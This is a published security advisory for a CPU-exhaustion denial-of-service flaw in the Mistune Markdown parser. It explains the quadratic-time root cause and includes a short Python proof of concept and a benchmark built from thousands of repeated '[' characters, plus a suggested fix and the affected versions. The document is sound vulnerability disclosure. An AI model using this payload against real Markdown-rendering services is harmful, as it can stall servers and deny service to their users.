PYSEC-2026-2652

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/mistune/PYSEC-2026-2652.yaml
JSON Data
https://api.test.osv.dev/v1/vulns/PYSEC-2026-2652
Aliases
Published
2026-07-13T15:46:30.641314Z
Modified
2026-07-13T16:50:41.403470364Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Mistune: Potential DoS via quadratic-time parsing in parse_link_text
Details

Summary

Mistune is vulnerable to a CPU exhaustion DoS due to superlinear (approximately O(n²)) behavior in parselinktext. A relatively small input consisting of repeated [ characters causes significant parsing slowdown.

Affected component

mistune/inlineparser.py → **parselink_text**

Description

When parsing Markdown containing many consecutive [ characters, parselinktext repeatedly scans the input using a regex search inside a loop. Each iteration re-scans a large portion of the remaining string, resulting in quadratic-time behavior. An attacker-controlled Markdown input can therefore trigger excessive CPU usage with a very small payload.

Root cause

The vulnerability stems from a two-loop interaction: - The outer loop in InlineParser.parse() (inlineparser.py) advances only 1 character at a time when parselink() returns None - Each failed attempt calls parse_link_text() which performs an O(n) scan to the end of the string looking for a closing ] - With n consecutive [ characters, this results in O(n) × O(n) = O(n²) total work

PoC

Run below python script

import mistune
import time

md = mistune.create_markdown()

s = "[" * 6400

t = time.perf_counter()
md(s)
print(time.perf_counter() - t)

<img width="2028" height="1277" alt="image" src="https://github.com/user-attachments/assets/15d5bc0b-35f8-4a15-85e0-cbc314a45b06" />

Benmark poc Run below code for benchmark

import mistune
import time

md = mistune.create_markdown()

sizes = [100,200,400,800,1600,3200,6400]

for n in sizes:
    s = "[" * n

    t0 = time.perf_counter()
    md(s)
    dt = time.perf_counter() - t0

    print(f"{n:6d} {dt:.6f}")

<img width="2503" height="1341" alt="image" src="https://github.com/user-attachments/assets/f09a7bbb-6927-4ba2-afb1-444dd913b84e" />

Observed behaviour

python3 benchmark.py 
   100 0.001609
   200 0.003207
   400 0.012906
   800 0.050220
  1600 0.197307
  3200 0.801172
  6400 3.190393

Execution time grows superlinearly, consistent with O(n²) complex

Impact

This can be used as a denial-of-service attack in any application that parses user-supplied Markdown using Mistune, including:

  • Web applications (comments, posts, content rendering)
  • API services processing Markdown
  • Documentation rendering systems
  • A small (~6 KB) payload can block CPU for multiple seconds.

Suggested fix

Return the furthest scanned position from parselinktext even on failure, so the outer loop can skip ahead instead of advancing 1 character at a time

Security Classification

CWE-400: Uncontrolled Resource Consumption Denial of Service (CPU exhaustion)

References

Affected packages

PyPI / mistune

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.3.0

Affected versions

0.*
0.1.0
0.2.0
0.3.0
0.3.1
0.4
0.4.1
0.5
0.5.1
0.6
0.7
0.7.1
0.7.2
0.7.3
0.7.4
0.8
0.8.1
0.8.2
0.8.3
0.8.4
2.*
2.0.0a1
2.0.0a2
2.0.0a3
2.0.0a4
2.0.0a5
2.0.0a6
2.0.0rc1
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.1.0
3.*
3.0.0a1
3.0.0a2
3.0.0a3
3.0.0rc1
3.0.0rc2
3.0.0rc3
3.0.0rc4
3.0.0rc5
3.0.0
3.0.1
3.0.2
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.2.0
3.2.1

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/mistune/PYSEC-2026-2652.yaml"